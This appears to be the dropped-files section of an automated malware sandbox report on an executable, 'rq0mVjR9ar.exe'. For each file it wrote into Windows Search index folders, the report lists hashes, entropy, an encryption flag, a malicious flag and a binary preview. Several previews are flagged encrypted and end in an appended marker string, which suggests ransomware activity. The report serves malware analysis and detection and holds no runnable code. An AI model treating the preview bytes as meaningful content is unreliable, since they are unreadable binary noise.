Preview:	0.0..eLv.n.n..x..uF.. ..>Q..J%....@ Y. .qOh24..V!.......+).S/j......\h>....p..z.^.....,L.......{l..f..X....[_.$.F.B.~......)...P6.........V..'..k.4....!1..Gc...y.}..q}d..j...J.%:#....Xa.....V....i.%....k...qu.t.l....V.4.wod...8.....h...........:_.#..$...&.j..p. KtJ.....3'..Q..hU.J>....=B[[........<.4.d........V.@......f=-L..../..m....CV...K....Cg..o..Ae.].RD(....I...{GG...s...;\...4.uA."H.7^x.n5..Y".w.7.Qz}.....<+.#/B"..:=}f....d6....tS....E...M]....0...v.}5.G..X..p. ...Xj9PZl.^.....f0..Q.Y.n.X.].......(5...#..6..x...Np~T....rWU!.E B..B..Fh.....$M.....&.>^1^.~.#.h%..x..mC.>.@......a.l.t.9..%.....!..K...j.L..A......K..x.XP.Uv..diKBE.n..Y;..}..n..PS.'.P..ehEc..;R6..K"....i..2~S.3.B...O...4[..."...V.h..q...KI\|..9... ..d{....{2..[.kA_.e...b\|z2U.3F2V}0E.\|.Y.o...N..........y`......+T...../..^x.=.L..&u..a......N.T.A..3.H..0;m..Zt.2....u#..v....D.......;.T.f.....>..d...pX....ss.........%N.N.u\|.N4....3.......\|..$...E.....S(.:.@4..^Y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.996805040998765
Encrypted:	true
SSDEEP:	1536:rbJSFu/unTJffl/cuzHuFCsExb3FNNkkZasbfwLP:HC6ETdltHuFK1BkcasG
MD5:	569D845AE3CD1CBAB5D3AC7835D9CC55
SHA1:	E9CB472193195625CDA94DC04E803BEF4C72E1D7
SHA-256:	6D04A0CC97729C6C29B7BFB1AF0175B20CEFC43B809633222AB8EED556C50E59
SHA-512:	054E1E7151FF9795AC450F871071FD383471CAEFFE6CA8A74F7C7711D0E8CAEE2E4C73210B9915A2287DFA282451780E20A18AB4980F81321122AC6684D8D41B
Malicious:	true
Preview:	.....?.#T:9f.2....9./..N..7PS.Y..1..Y.T...y..q.t...H7.K.>..x....>^.{1tg.5.."..q....8..w,..._........\|!f.._?4{......<...SzJ..l.X< .]..p...$..k........@N..p.7....Y.e.`1..1tA..O;i..Q..[.$1L..........0L..E.;..W.,.e#y..T..6,c...q.!.w.4..tR....%D........H1Z.2B.....$.Iy..,....r...{.gym).jb..\|..E...L0.pkf.wW.B..u."..@K..s...a....6T0Y.].1...%A.-....7.i$G)..c.[....X..U..Y.Y.E=MV.8.......H..R7..].d=_.\..WS.m.U..R...-^g^\|yK...p....R.H.=R./nZ.`DT.C. .oG..PA6..if...n.S>0.)...!..`._?..g...4G"1.....5..D..]xM<.M....d.8..7..t)..s:~..l4.op......M.-t..@PJ.$.....E%eo5.3.....\.."...R<Xw._......a?.!DM..~.M..~.F.......D.F. -v..2{p.%.r@._.....D..w.3...r.m....dYS.:H....V..;.-3...\|v.?.4.`.W{..\[..2.y.ZC......E.X..C......... ..TT...G.i....K...+e=...K.F.X..Q.;.......?.I..o%.u..KdO_...l.FA.. E:...=......Sb...wB..z...lP.y..$.}&.....IX........C......i.3../.j.$.,........S..z../[..1..od...~..^d>.O_1,........T..-.4.....E...#....F+.....m...,.....V"..S..d.]j...y..x..Y...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\Apps.index

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1124830
Entropy (8bit):	6.544669065645463
Encrypted:	false
SSDEEP:	24576:O6Zv0oYfoyFxz8GfoLr7YfoyFxz8GHjBju:fx+f1xz8GfMwf1xz8GDo
MD5:	95DD25F24E9B6AC30CF6B6580C1DB7F3
SHA1:	FED6DBB83754359EC047CB6C5986B831F0E62B32
SHA-256:	C4BF2E6AD7E20646D754F529B4466B72E6CEC30B7B3DCB83B5D21865BBC7F4AD
SHA-512:	0FD8F2DFD4C37E6A72E2B7613B738D328BCED7632AC7ADDFB320974A264A871DA2CBD9D26CB4531A6537BE9617C02EE7699B58B4AC8B5100B027E84F11FBFC8D
Malicious:	false
Preview:	Ej..D06Sw../.0...7%..^..5L.N.\.....o7J...o..Y..'...6K....^....d......r...@D....i....8f.U..m..r...i.._D......(.$.9oS.CH.!u/.N....n.\m..o.i~.z.A...g.K....3.......>...V....%.....o..../...e`.FY..h#..a\|...]....Ze.c.Y.Md.M..W._.C...v%...........\|....s.....7.H-.B@2.....N...q.%..R..G..76.P..h.rVX..#.P....KM..qv....9.......)z..a..^a..3d\...R..........)...'.`.O..Q..bx..Us.Y.u...s.X.[T......QN.]4.Yt.U.6t#.x/.G..3[.0...E3j6...,..y.r.coz....H?''.h....]..pp.1...T}....l..F.S.5E]8..(s.>B..eJ....V,.o\....o....&WW!...&...T?.D.Cf(..ulKn.R....$T......[M....wH.A._.!....!...6..:.e.....v....*....y5....G..LU0..l..{G8..:.....9.{...i.s6A..l...'.[.....{....Q%...(.....H&......}....mX.4...R..N....Rgtw.]WV.#L^..F.K.FjMu:.K..z.R.0.k.7DD.M...YEWT..c.4.f.xKX...~.:.....~..)`..h./Y!l..T=..h.../..\|.O..".....,k)...E....x.2...:'.\|^.yky...:..{.E..{..[o+v.h....<...`.]...9..}...xK.C....3.&g.j..]H..,._l.b..).Qs.1'..CG.......A.S.../m.......C.=..<_n$..[f.#A.4.9w

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85ecd8a6-5545-4d2b-9208-c246bb8cb810}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.995121096560545
Encrypted:	true
SSDEEP:	768:P4IIG5hH9+dQBtj1R8+p0/4RARkBza1qGA4ylXwB:gddaX8+u/4tvGvMo
MD5:	60B66F80DB4289C60627A75C2398F77C
SHA1:	BB3BD50560C33FC38BBE73F938C3CC8F7195331B
SHA-256:	B892A89B3D0DBF20B5AA52D4C58C8074117406610BB81D9D3410ADE976F17C70
SHA-512:	91EE5907E5EA0731EC0E15B6E8D397CDE59E5004F14B11B83B3DB10030648D90932D1214EA90E4D8F4F1639041C9CBD3D5C8AEE9E7A6F1A2FF443ED368526959
Malicious:	true
Preview:	0.0...h.....&....7_......."....H.;....w....p.`..rU.';.g%.0.l...\|...o&y......,..$.k1........K.~.......&....v.....2.,Y.=.kh..we.43X..6.../......./..oE..C.....@^V.mk1..q..:.BY\|O}.(..ni._...$F..#.Z}..g.J.-..ac...R.g.h.........d.cY.$..~..0:.....E....4pwM.. .q/..u.f._[b@6.S......n6~.<..uB..........V.z..)....9z-..:..../Jk?,W...=. .;..c{..O..F+;p...+.X.qoDn.t...'.j.j.<.&.%.........s/y.%..\.;a..........nPF.@...."m........?.....h.[P.....T.(V..A.F...+.....5L..r..\;.P'i.'[..Z3....Z.kL..y7V..Y.+.N..~l.O.....9!....<.....J...q\|..".d..eG......Di..\.)...E...."Tpq.......`b..p.B...Ma...[..s..>....7.qd.(......._..>....%.+..=./..FS.8.H...M...ep.V.!....3....v..Ny...'aW.r..2i.C ..J"....}O./.,._3h.b.inTy.n..N0..-..,.1......-.O.K....2...#Q.v@....l.6U.O4....b.p)'nJ...e....N.b.{.....V9]"......Zj.....j.`....0....%.]:.?....!.....E..$.........B. ..s\......R&...XhP7..1..B.\|.`..i_....w....6+ro..A.A9..\.....;....k-pU^..g...3<.$...J....R..#.....(.\|.Up.t.!..#.T#.0.r

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85ecd8a6-5545-4d2b-9208-c246bb8cb810}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.9964782639310075
Encrypted:	true
SSDEEP:	1536:K4Nm0UdwVbumAtKu6JiV7mdGaGevoP64ZNVxfChuH:K4N2AyKLUmr8rVh8uH
MD5:	436314B5359397C40F23F5066B6D4E68
SHA1:	D2B5E928343627E0118BE63ACCB2C566D3468C5C
SHA-256:	6ED1F53886FE50ADD0F64046835C80CB09D5779343402DE138B15D41E8A889AF
SHA-512:	9A014AA4406A08F8C737E031344812DC81DC38545B03FEA2F41E16808D6F8492949A992E58B2F3D6916608B1F4CEF2CF0272FE38FD1603679381D87F3E02BD95
Malicious:	true
Preview:	.........v._.J.3l.g....;H....x..;.5xK..S......sk>.E<3..ZR..dq$..k...ILy..'..n6VTQ.-.f.......&.1.?Z.<...$.J.i...,.G>c..6.......W..K.t...X@.`.+...l..2._^o.U.S.="...SK..,3.bF.#......?.=.9..!.~.....u7y.....^....D........F...j.l>.9c.i.^..F..E...EV.......O...?.~.%>.....-<... ....0..@=.4-.Wt.U..P7.'..........RO^$=.)'.....L.a..P...~L..0...<5j?r......o......E..A.N..=.A.5[:.)pjt.[.._StA#..........9p.t.Fo_..r.8.>...%.6j.x.2....w.q..-.\|>3.I.B.j.u.&D...;...u....-.j. .&.,.s..._#.Q.Eg.DP..t9..S.l.FA..y.9R..-...;.....8......3..o.... {....:.....B....{.....M..S1F.7.]!2.O#.k.}f[a_+r.D..~....Y.zhI..U....:N...w7.!zW.b......)..TSp....&....d.t..!....L...Zb.8.<.l7./.......^.@...\^r.x...K.N....{d<.$...........dd.X]m.IAB..i{t.8d.v.Q.._...'R.v...w<...oR.w.8.M.8.w...=i..N..%.X._........=.s..J...J\\|.G.x.....#..R..0(Tx`..8..6..no..H..y.8.T.j\l.\.ok..V......<..m...Bg7..,.]...g7.PK"+ju.K..=1:..y.7W.L.IT*...m..2$\|.9....p.lk.{TP.R...V.-&v........."

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85ecd8a6-5545-4d2b-9208-c246bb8cb810}\Apps.index

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1124885
Entropy (8bit):	6.544284560735341
Encrypted:	false
SSDEEP:	24576:NKcOZTYfoyFxz8GfoLr7YfoyFxz8GHkKW:NKc00f1xz8GfMwf1xz8GE
MD5:	11C352392442897D7E1E9C1934CA8010
SHA1:	62BD1C880E73342DFD656E8A0D5574A3B066F7C2
SHA-256:	70FF05DDFF19F33B1690A0C85FE02F5F19E38C03EF236B850A2E571D6CE80C41
SHA-512:	226B0E5C6C2AE14B328AC82B53E0E4E280718BFB150251C5492754A19F255B6F2B04E388D732226F409C70352DE35A996542897177C2B80315731BA52552620C
Malicious:	false
Preview:	Ej..D...c.?..h_/.y..T.."l.%..H..>y.W..........#...b,.'..=...<..BP.y......5.(I...<....lL.."...20l......A,...$O..5.."6..>B.mR..N66p.1.Sn..IO.Sd}.......7.y...K\|.&.....m]6T......N\...d${2.e.S\..0s..,....}.....>./.l../..s......v. @....mB;.)o.c...2....w.....l...Sc./.3g..2.W.3#..j...).=.S..~<.....W.....5.T....R.`,.....uk..ks.'....g....KF<x?x.?.5...O..8p.%.%.<..3[f.hZ..!..s..,...sf.....5F.....ng.R...9. z...D.....8..f .n.........B..2........4z...3\|...@H.jnC.0.?...."J...o..j....g...to....r..XCP.n.h...v....k..X.QC\|.h;..<y.+..Q.J...T.....j.1..X.{M\|..BGE.....)=..r...wY!-.#.M@./..s..cM........sh.'.....".\....Z{\.Q.2......~c....i....e.B..:ZU,?..%.S`..#.E..b...[w.R..F.d...o..@.l.....G...\|8.l.....OP.'x..2...GP.zw......_QT...R.$.....x:..!.tx]...XFr.I9\|...kw.....,..1...P%.Q..;:.WB`~[....'..:.D.C.....B.......I.....fh.1..E..!.jf ..\...:......5....U.R...a..O&..6....8..b."H.>...P.P.O.`......y.4...:.p.Q..d..@....Db.t..&.8......+....\|.P.n\|..8....l.u.C7.hr..'

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\apps.csg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.689693644392097
Encrypted:	false
SSDEEP:	24:Z+agpIv3TL4oxdIDbAWNRk9BNZ+JWTiiTkbD:sagpIv3FxigWNQjZ3iD
MD5:	936D3A2666894AE978D288C5D5F037D5
SHA1:	7ACD2596B531AE0D4FB7839CF61D919E717DCC56
SHA-256:	61B679C1F078C76DED1DC61A6AE5AB47772C630A8D1FA7C9BDBE91421DEDE3DD
SHA-512:	77ACE7AAAAD70A6E7EA35F372C605D630265045BC04D170994F954ADF937F5AE14840EC592BB94030A224BA90293EACCA9B342C560BE8C7043F88BC472149E43
Malicious:	false
Preview:	.....b...4...\|.:..i.#Wm....P...E.K.............uNcN.................C.A..........5..k#o..../x..b.!n.....!w............+.I.NT..K.j..j..:.A.-j.bQph......8...<AI....F'.Y....ld..=....m3.....X.K..Sz.7A6....9.(.O......7..(.3&[...EVL.1..L. =.[J.^......./.}K.~..E.f.....w...&.-....v3CXP.O..aR..hlF.v=.T..At........7.^....JpJ..}...I.....#-..lQ~.f"!...R.Y.k...T.....ScJAq.,Z.^..1..t..v....@..T?\|../..Tm..s....5.s...`W...I'q..U.UL..B.......8......{ ......@ ..d.q.aj...[._.....q-..........Q...6n..sP..U.}.....2Xk.2D.....aE.:C7.._s.~q.{....4......5{..,.-.4..tiH......C.Kx_OL...V. N..}..Nw......^..'.]4..A..[.T.)..O.9...u.{\|........o....[..{;...j.....K..u..s..x..9.....c.T.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\apps.schema

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.397304725562395
Encrypted:	false
SSDEEP:	12:jBNKGRHVDtoZBQbvTx/EQu+GiixpZacii9a:jBN5bkBevhEQpiTkbD
MD5:	EC7F4E2D658F0B048D8BDE8217E65BB3
SHA1:	5C5B033337ED178E8AEC33B3E3CA7D0AF9667A27
SHA-256:	276064B888043C8B5BA5FA02E50D8C19BFB123F8B9AE22A581A5B4580E40C424
SHA-512:	58435B6E428189B6A314AB69BC5A1D3A30F5322FE5D352C1D1B2698672B3FF0D02C6C43A214274D9DD3F33F22A9A989ECFC532C3BD6B0270D9B76410E5A7116D
Malicious:	false
Preview:	Windo.0567...K...$.J.rjy...6+&. x....cr.~..Np. ....j.N..8..2.+.R.Bo/.......pk.T.y..aPq..1..r.x{..F.Y.....T..B.GMER.G'.....].+...:=.kS..iC.0.Ga/9...4g..(fh.-.........Br...:pN$......:...wZ5...+43..)H.q*S..o....".6..<J....ZA..>..fi..6.A......MU..9&...@iclZ...(...U..G.n..k{.U.......h..s+-.....{Mlf0(../....g...........+..J..%`...D..v'..)2..'!..Zj\|? ...Q.P..lC...}(F........f...oN..6_W...Jr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.415906899975928
Encrypted:	false
SSDEEP:	24576:oB1Z5Mjdr9yEKzC79ufKZDXkmn63mlDEyjMX:C/MVD4/
MD5:	79805C3D65C23459A81DEFBE23137DDF
SHA1:	E26AC9E00180042D1A63CC7659FC306276D1448D
SHA-256:	8CB99EBCA1D90A8BAA767139422183E1B21E733A804D8FCA5651793392D08CDE
SHA-512:	1D8FD4DC2A12798D3F101F54CC1253BCE7BB6A7F65F970823E2D3618B30B38390AC718603D1983704AD30200E17C744CA0A3171DC9D8A115C0B087CA3BE1B6A5
Malicious:	false
Preview:	marke.<.i.....`..~.....wv.8..;.....ra......Gw.J.`.K.\..@.0<. ..8 .\.Z....r..-...!..Q.4m8n.OS&.$..}.v......$(..."._...t..@......b.6.8.........][\..]...U.....G.#...g..9!c.....mv.....x....jL L..W..q.n...iF.=....Z.......lb2....=..Zx..{.,..p..v..sQilQ.s...a...I.%4....Y.u..K.V\{S..Ey._\.=8..6.Y5.0....)..,L.....a..v.t..1.W.7.f9.T........l.....s...{R.]2...SW...x.r.a........R.2/[.d.-..@.'.]..ZF..."q.m...tb...sW.............p.....e.....XP\|n.5`...........K.}.fp@_.H...........Vg.`..VwW....Ir.Ss.o..mM...c$7Y..i.I..J8.....?E.X......H..:PcU..f.R.....n....."n.. .s.....{...w..x.)MBd. .'...Z.....}_...?@....\.<..{...O/.K.?.....^....aS..m....m..lO.B#+.....^z_.5...9.hj...32......Zp...\...P.....^K..+.........hL...y.q.E.D.6./.#.c.W....H...B4..#m...O..i+....._Aw.r.[...7\..B...,..E}.J.}.:a&..l!...:..-..>3b.~+..G.Xga}.A..P.....].=[.].l....U......\|#..l.z.3.U.G...\|......r.Z?.....1.v.6#..#..z.s..JbbwC...../....C...@X.K.%E.^.$......0..0..RF8...Q.....>.5jKJ.^..y......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.22884132424997
Encrypted:	false
SSDEEP:	6144:gULAacnWKiGq7Jl9hmBS1AmwG1YL6hB5PsqCfP:nUTPstlH6S1rmqiP
MD5:	1FD2A0BDA39C55BF21FFF75FAF55A3B1
SHA1:	A068512CA312834C804B63E11347A6E0D1D185ED
SHA-256:	AAB10776DDA0800403CBFBCEC3245848859D215529C9684C00E472EC4BAE649B
SHA-512:	E5F1FF6140CFB502311DB2D5C80D250263994678EFD1CD2D03C72F863B4D4000F4C52E0159B6F8E100F6F8489B19053CCAE3C552AF6088F4AB470E415797E779
Malicious:	true
Preview:	{1AC1.}.:.....1..@.6.$J...[c$.o^.Z..YV.+.......M)...bT;...X.jP.....y..e.X.....\|.8D.}..[.D..t3..........25Ha..C.c.n.....O"{R[.o....<.....QE.IR..G#[A.-....c^J.^@.W....c+o..-[.J..c.....;..J.q!..l....3..z.@....b8./..?Y+h...R...Ir.P...A.WK...,...x.R...e.(...u.8.].<......e.z1........c7........#...y.:...CT.....#x3.....Yb2..=..C....-..J<l.1.E-..... .Ym.......u...w.w....$./.n.0....1,.`z.-../...g.......&.y8q.Y.T..F.......o&...~...s.w...3<E........JW.[....{.zE.Df.5..$. {..\|.j.{,2.r.um..`.E....,.K..a..pe.~...@..0..~@...3j...XP.BQ^L....r^"\Xo'.)Bkm.(....7......W....3V..iu.`.9..]..5...C>U..1...L9.=..I.C.g.Z......./].6..c.q^.B.b}z).1..p..y.(k....:..K...Y.1d.\.$.d....ob..f{.?~V.i...6..X..O....B..3.m..).v...-l......XCD..+...x.k0Y....M./;%.\N.m...O...H.....{....=.o.$.}%.e...,.....zgM-".......M._.X.x.........v!`....C....H^.CG.y.R.!.o..........n.~.B..o....h.>"O._..WQ.g..P.3.^.nV.um.....v(./....TsK..5....zt.@.....]..a.`.`..........&.n}c....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.511039959084549
Encrypted:	false
SSDEEP:	6144:m3hus+eocrcQVSlRdJboJjBhEbfCyXFePKN:mxux6AQg/zcbqqy5
MD5:	E4B8C7D9E3C4D7E8B0A8649D51E7A0CE
SHA1:	7819E622DCBF5B7AC49B55988BB36FAC1CDEC98B
SHA-256:	EEBFAA4E77968D32154BDD69571E5908955A7135DEADAA205A8F0893477F1069
SHA-512:	9806E1CCA1DED71192172CE05BAC508AECB00DE9AC81A1344341D3C9FBBF55BFBA60F02EBC55753F7CE35E10C0905F0ED2CCE4F35CF7A8A274213DFD3622923C
Malicious:	false
Preview:	\|.\|_.b..T...t.......!.T....n.z.R.ed..T......`K..V..\|.0..x.U.F..5^..8...M.C...$.......b....e7.ffW.....]..7.'.X.......T....7....h....X..v...)..VhvYa$..x.+,.=. ..3..#...SNu5...\|..;.Z'.z.._..w.....%=..j.2aJ..e\:Q..2(TA!.f..c..{...l.]%v.JYpt...p.}`...Yxv...D.+k!7...e......S/...\|....Sw.&....-Y..Ky..k>..\.. x.l~.....B.IHO.^ .\|/.n.al.4.X:.Ny.............?....aU.+;..f..{.#=d..(:..M.V.z..Nf.f..R..~".f...8.z.Ot.m..%m%'.W...q.5...B....6....P.;...tP'T..H.?.....\.$H.....p..u..~.nJ...B..q..j3...].]..hqm.mkY`.V.D.~.(..th.a..g .b.X........=R...M...t&..@.....!.hZ.k.u.\|...d...l.B.A.g...%....S.0!u..xP.L......0..OOP.w.-}-q.T......a&.R..wn..L...k{..rK./N......{.(B..P.I...4'...s.P.t. 8W.5.D.....V.N..<..Y..@.4.#d>z.<...[.8.F..2arpx"@.B.. .T......4.v..y.NN......J:\.P.\|....:.1C2g.%.......%....9:..'..9W.N.....M8.....S....b.n...D..b.;*6.........b...Fy....\....V...#6u.n..#.:.g......AD...&...H..._.T..J......#).j....... ....o.h......G.V.\|.<.l.9.I.=.K.h...9j.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settings.csg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.7729280772357034
Encrypted:	false
SSDEEP:	24:vcO6vhdNLCCMN+LrwkM9ZPbtTb44Mn7ZbiTkbD:vipdNwc3RMnjtXLMn78iD
MD5:	36CB5192320FA2173E3A890F9F83D7EB
SHA1:	27148B343F60B083A09B77C8E5F11221DFB5D049
SHA-256:	5DE0CB528CA10DFAC22D663086CAD8A9662AB1DC9E70F5DB0519DE9B4E1DF4BF
SHA-512:	E04BE098603F67D1DD4C597B13CD31AAA2CEDE68E6CAAE3716EB160F17E63D0940B144325F8A04F1356BE28A5AF55879D38BF8E40CCF24EA32C94A5CA1B76951
Malicious:	false
Preview:	.....QZ..Q..B..vV}.y....8...h.K..s...=.c.48..8......b......X.[.?.y..Ip.E.@...-...g.P...!p...........~.?x..o.2L...J...,......Z.$P...d..1.\|-w.v.r..9m.F.....C......".....2.........$....!.....6x...c..<.~.0.......}...m`..l.....>%@..?{.aN...tH..K(.m..r.!C....T.2.6p7..U8.1.F.S.......A....]....ZJ3.t..O]&..B8...\.=..,.A..P......K......on2\t..F%u."=.D......"......e..:q...;6.QA...R(%..H......'U}w..>. \|q...........s.(....;Z...5s.._..l...#N.y...+......@.............v.T.'..,....:...... ..Wd...L}..k..I.\|.R....Q.h....O............s.......j.....'..]..PIX.7g..rT7....w..C8<^Uy.@..8e.r&3(.!..].E.?..;....\R....>@..N\|..n.....H .(.".,b.[9..z.NUS~....D_...2h4.[9..d..K.....J....g.\.w.Z...+..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settings.schema

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.482250546807451
Encrypted:	false
SSDEEP:	12:jBxTiVKSXLk2VBCTOUeAE+1ZixpZacii9a:jBxmJXg2+PeCTiTkbD
MD5:	E4A09F453122C36905AE69229B20C221
SHA1:	4676018CE519DDCBF5E95DE6A119BBEC247817A0
SHA-256:	90E25AFE89645E9B62D8CDC7309FFAF0095E5A606F143915263116502A162F4C
SHA-512:	0AFC9C71942F60A479EBB9C2359531389F05DB156F18675A7B0ACE77BEEF29A612F6B25D0DF3AB8F132BCE02AAC8332A70A952B1AEB57EE8A1E646F4FA0194ED
Malicious:	false
Preview:	Windo.3X}.a..F..1"!..#\|m=..^n....j.{q.,x.z.V....%@x~nT'.F-.3Ft.....?../....pdB.....Z.....1.M....-w5!.+17y{k..j..K........<.~W.e{..J.ax......2.Q....V'.QWS[.-..+!V..?...7?qz...9..'X..^..;....Mc..~2.......-0..C..U.e#m..!s...2....v.....c...7/!...q.b.T...2.....Y..E.....^.oU........O..xz..d....k..n*.v...#.2j........2..#.,....+...mk.t z;3.f9v.z.. ..k..:....VM..9.....I.....Oo....?.QJ..P.....Er6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.2601353769304
Encrypted:	false
SSDEEP:	12288:6FN8hf6Bj4Q0bxjiuTsP583eAMwQknzBcI:YeF6KfeG45epZp
MD5:	05E4EDCFD282660B78AB239770038DD2
SHA1:	FF80BC447A6498F3850157C1387819615EF6D663
SHA-256:	54718FAD6BC484EE764EF1B1B8BCB474B0217B761E3568BC0AA7E4345A32AF71
SHA-512:	289E7FD5631D4022D14A1C1EEC7AD5DCB28B9BC355A6DBDDC55B86D089E331F786D591C06A03862086037115A98D8BF834AC4175A453F39C3A34878BDE343064
Malicious:	false
Preview:	marke..[..).........#S.Z.M~.b.^.o...k...\+...,..L8."L.'...V)...M.D..............S.L.Vc.F..c?........../.bLkM.kD..A.....$.#.Q.0....b.v.g\...J......#.>iJ.q+...Ao$;.t3..J._m.^..-%2......a.W.m*.6...uC,....W1s...(...o.87.R......HXC....t.D..Ntr...h.0..y.'.3>r0......A..f.-..y......[.b..y..TE.....=.`iTJ..]"...\..ge...{.{...Y .a..J]...EZ.Bj.Yirl...o;AG9...f...dU........#':....tf.f..LJ...q.g}.:..N?Ex.$..Q(..>..du..).hY.opX..:..W.r......W.c..Z....`Z.g.......P.i....8..EZ#.H~...Vnb>......%.4V$..AAy.N1.`.....]..g]..Y...Z....].I.{.T..C\.F.n8Y.71..r...kC.CF.z..>k...?^..C....n\@..m.Q$.@.i....&q5...W....,.\.E.....#.WKK~..#[....M...X..fvNX.J...r.........y.>.g......Y.z._.5L...t]q.. a[1."M...._..`..n.,.l.d.s'2....A..+.seC.s.a.{..C..!..J....N~c8.Q.....GZ....y..,.b..`.:.....;.m..C.s9.i..`..B...c.&......w.....05.c..&..J].w.j.. ...=o..7.`a.w...t<.7w'x1.H2...].9.)O.s.....u.\..}....10...R.s...p0.y...o85...'v....7. \|R.Os.E.S.F...M.`.....`.1...\...0p..#.=

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.995970178479299
Encrypted:	true
SSDEEP:	768:ZqU7Vx9/SMZgCFC9DvnXoaA7GHLV9QBsD1i4chFzUJGX+/P6HFNnW9/pZUyTieA4:Zf7VxlSMkJvX3uGrQU1fchzX+/Py8UyP
MD5:	B43FC7873A218BF6ABF62E8F13E8FFAC
SHA1:	B65D188200667AC19C3BCAA53A20D325E298F0FC
SHA-256:	A2D8E945D861D4BA5FEEC1E926BD3EE9BDC1222B76320BB498221C2FE39F4F4A
SHA-512:	64E800E41882D44C9FA87DA9EFDDEB55FDB320B396D2D0A7159475671B1C20ECA45C07B4AFE80E805EB68E69CDBD8C07CB9D0B078837A582D90342B70DE18F16
Malicious:	true
